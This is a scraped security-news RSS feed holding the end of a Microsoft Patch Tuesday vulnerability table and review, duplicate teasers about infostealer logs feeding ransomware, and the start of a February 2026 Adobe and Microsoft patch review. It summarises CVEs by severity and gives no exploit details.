  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks]]></title>
<description><![CDATA[Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive g...]]></description>
<link>https://tsecurity.de/de/3694549/hacking/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694549/hacking/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:41 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive generated by infostealer malware that silently harvests browser-saved passwords, session cookies, cryptocurrency wallet data, […]</p>
<p>The post <a href="https://gbhackers.com/hackers-stealer-logs-launch-ransomware-attacks/">Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks]]></title>
<description><![CDATA[Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive g...]]></description>
<link>https://tsecurity.de/de/3694477/it-security-nachrichten/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694477/it-security-nachrichten/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive generated by infostealer malware that silently harvests browser-saved passwords, session cookies, cryptocurrency wallet data, […]</p>
<p>The post <a href="https://gbhackers.com/hackers-stealer-logs-launch-ransomware-attacks/">Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> 